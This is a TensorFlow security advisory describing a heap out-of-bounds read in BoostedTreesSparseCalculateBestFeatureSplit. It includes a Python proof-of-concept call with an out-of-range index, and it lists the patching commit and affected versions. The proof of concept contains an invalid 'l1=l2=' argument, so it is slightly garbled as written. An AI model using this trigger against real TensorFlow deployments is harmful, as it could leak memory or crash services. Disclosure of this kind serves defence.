Description
Impact
An attacker can read from outside of bounds of heap allocated data by sending specially crafted illegal arguments to `BoostedTreesSparseCalculateBestFeatureSplit`:
```python
import tensorflow as tf
tf.raw_ops.BoostedTreesSparseCalculateBestFeatureSplit(
node_id_range=[0,10],
stats_summary_indices=[[1, 2, 3, 0x1000000]],
stats_summary_values=[1.0],
stats_summary_shape=[1,1,1,1],
l1=l2=[1.0],
tree_complexity=[0.5],
min_node_weight=[1.0],
logits_dimension=3,
split_type='inequality')
```
The implementation needs to validate that each value in `stats_summary_indices` is in range.
Patches
We have patched the issue in GitHub commit e84c975313e8e8e38bb2ea118196369c45c51378.
The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.
